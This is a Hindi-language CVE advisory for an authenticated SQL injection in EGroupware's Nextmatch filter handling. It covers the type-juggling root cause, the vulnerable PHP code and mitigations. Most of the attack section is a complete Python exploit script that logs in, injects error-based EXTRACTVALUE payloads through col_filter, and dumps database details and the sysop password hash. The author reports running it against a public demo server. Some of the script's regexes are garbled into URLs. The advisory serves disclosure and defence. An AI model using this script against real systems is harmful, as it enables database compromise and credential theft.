
CVE-2026-22243 - EGroupware में Nextmatch फ़िल्टर प्रोसेसिंग में SQL इंजेक्शन है
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2026-22243 |
| गंभीरता | उच्च |
| सलाह | सलाह देखें |
| द्वारा खोजा गया | Lukasz Rybak |
Nextmatch विजेट फ़िल्टर प्रोसेसिंग में महत्वपूर्ण प्रमाणित SQL इंजेक्शन
EGroupware के मुख्य घटकों में, विशेष रूप से Nextmatch फ़िल्टर प्रोसेसिंग में, एक महत्वपूर्ण SQL इंजेक्शन भेद्यता मौजूद है। यह दोष प्रमाणित हमलावरों को डेटाबेस क्वेरी के WHERE खंड में मनमाना SQL कमांड इंजेक्ट करने की अनुमति देता है। यह PHP टाइप जगलिंग समस्या का शोषण करके प्राप्त किया जाता है जहाँ JSON डिकोडिंग संख्यात्मक स्ट्रिंग्स को पूर्णांकों में बदल देती है, जिससे एप्लिकेशन द्वारा उपयोग किए जाने वाले is_int() सुरक्षा जाँच को बायपास किया जाता है।
मूल कारण विश्लेषण
यह भेद्यता इस बात में मौजूद है कि डेटाबेस एब्स्ट्रक्शन लेयर (Api\Db) और उच्च-स्तरीय स्टोरेज क्लासेस (Api\Storage\Base, infolog_so) "Nextmatch" विजेट्स में उपयोग किए जाने वाले col_filter ऐरे को कैसे प्रोसेस करते हैं।
एप्लिकेशन is_int($key) का उपयोग करके इनपुट को मान्य करने का प्रयास करता है ताकि यह निर्धारित किया जा सके कि क्या कोई ऐरे कुंजी एक कच्चा SQL टुकड़ा है जिस पर भरोसा किया जाना चाहिए। हालाँकि, JSON-आधारित POST अनुरोधों को संसाधित करते समय, PHP का json_decode स्वचालित रूप से संख्यात्मक स्ट्रिंग कुंजियों (जैसे, "0") को देशी पूर्णांकों में बदल देता है।
परिणामस्वरूप, एक हमलावर संख्यात्मक कुंजियों वाले एक साहचर्य सरणी के साथ एक JSON पेलोड भेज सकता है। एप्लिकेशन इन कुंजियों को पूर्णांक के रूप में व्याख्या करता है (is_int सही लौटाता है) और संबंधित मानों - जिनमें दुर्भावनापूर्ण SQL है - को सीधे क्वेरी में जोड़ देता है।
भेद्य कोड स्थान
sources/egroupware/api/src/Db.php (लगभग पंक्ति 1776)
विधि: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (लगभग पंक्ति 1134)
विधि: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
मैंने इस भेद्यता को एक स्थानीय Docker इंस्टेंस पर सत्यापित किया है और आपके सार्वजनिक डेमो इंस्टेंस (demo.egroupware.net) पर (केवल-पढ़ने के लिए) इसकी पुष्टि की है।
स्वचालित शोषण स्क्रिप्ट: निम्नलिखित स्क्रिप्ट एरर-आधारित SQL इंजेक्शन के माध्यम से लॉगिन, exec_id निष्कर्षण और डेटा निकासी को स्वचालित करती है।
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
सत्यापन का प्रमाण demo.egroupware.net पर:
मैंने उत्पादन-जैसे वातावरण (केवल-पढ़ने के लिए) में शोषण क्षमता की पुष्टि करने के लिए आपके सार्वजनिक डेमो के विरुद्ध स्क्रिप्ट निष्पादित की।

प्रभाव: कम-विशेषाधिकार वाले हमलावर डेटाबेस से पूरी तरह समझौता कर सकते हैं। यह अनुमति देता है:
1. इनपुट सत्यापन (श्वेतसूची)
बाहरी इनपुट को संभालते समय सुरक्षा निर्णयों के लिए केवल is_int() पर भरोसा न करें, विशेष रूप से JSON डेटा जहाँ कुंजियाँ संख्यात्मक स्ट्रिंग हो सकती हैं। Nextmatch विजेट्स में फ़िल्टरिंग के लिए अनुमत कॉलम नामों की एक सख्त श्वेतसूची (अनुमति सूची) लागू करें। यदि कुंजी/कॉलम श्वेतसूची में नहीं है, तो अनुरोध को अस्वीकार करें।
2. पैरामीटर बाइंडिंग सुनिश्चित करें कि सभी फ़िल्टर मान SQL स्ट्रिंग में सीधे संयोजित होने के बजाय पैरामीटर (तैयार कथन) के रूप में बाउंड किए गए हैं।
3. सख्त प्रकार जाँच
JSON इनपुट को संसाधित करते समय, सुनिश्चित करें कि SQL उत्पादन तर्क में उपयोग करने से पहले कुंजियों की अपेक्षित प्रकारों के विरुद्ध सख्ती से जाँच की जाए (जैसे, सख्त तुलना के लिए === या filter_var का उपयोग करके)।
Łukasz Rybak द्वारा रिपोर्ट किया गया
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।